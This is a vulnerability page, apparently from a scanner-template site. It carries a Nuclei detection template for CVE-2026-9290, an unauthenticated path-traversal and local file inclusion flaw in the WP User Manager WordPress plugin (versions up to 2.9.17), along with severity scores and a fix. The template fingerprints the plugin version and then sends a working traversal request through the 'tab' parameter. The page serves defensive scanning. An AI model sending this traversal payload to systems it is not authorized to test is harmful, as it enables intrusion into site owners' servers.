WP User Manager – User Profile Builder & Membership - Local File Inclusion
CVE-2026-9290
Verified
Description
WP User Manager – User Profile Builder & Membership plugin for WordPress <= 2.9.17 contains a local file inclusion caused by improper handling in the profile template scope function, letting unauthenticated attackers execute arbitrary PHP code, exploit requires ability to upload or control PHP files.
Severity
High
CVSS Score
7.5
Exploit Probability
2%
Affected Product
wp-user-manager
Published Date
June 10, 2026
Template Author
theamanrawat
CVE-2026-9290.yaml
id: CVE-2026-9290
info:
name: WP User Manager – User Profile Builder & Membership - Local File Inclusion
author: theamanrawat
severity: high
description: |
WP User Manager – User Profile Builder & Membership plugin for WordPress <= 2.9.17 contains a local file inclusion caused by improper handling in the profile template scope function, letting unauthenticated attackers execute arbitrary PHP code, exploit requires ability to upload or control PHP files.
impact: |
Unauthenticated attackers can execute arbitrary PHP code, bypass access controls, and access sensitive data.
remediation: |
Update to a version later than 2.9.17 or the latest available version.
reference:
- https://patchstack.com/database/vulnerability/wordpress-wp-user-manager-user-profile-builder-membership-plugin-2-9-17-unauthenticated-path-traversal-to-local-file-inclusion-vulnerability
- https://nvd.nist.gov/vuln/detail/CVE-2026-9290
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-9290
epss-score: 0.02403
epss-percentile: 0.82298
cwe-id: CWE-22
metadata:
max-request: 2
verified: true
product: wp-user-manager
vendor: wp-developer
tags: cve,cve2026,wordpress,wp-plugin,wp-user-manager,lfi,unauth
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/wp-user-manager/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "WP User Manager")'
- 'compare_versions(plugin_version, "<= 2.9.17")'
condition: and
internal: true
extractors:
- type: regex
name: plugin_version
part: body
group: 1
regex:
- '(?i)Stable\s+tag:\s*([0-9.]+)'
internal: true
- raw:
- |
GET /profile/admin/about?tab=../../../../../wp-login HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "wp-login-logo"
- "Username or Email Address"
- "wp-login-lost-password"
condition: and
- type: status
status:
- 200
# digest: 4a0a0047304502206020e12d68f2384115ec0d1ea9f80380ebe6589c54e2833a4ef241bd1bf089860221009a57628a3dee62ab365d8cd715f80aa0f5cd185c17fff77ef155f1c4b67132c9:922c64590222798bb761d5b6d8e729507.5Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVE ID:
cve-2026-9290
CWE ID:
cwe-22
Remediation Steps
Update to a version later than 2.9.17 or the latest available version.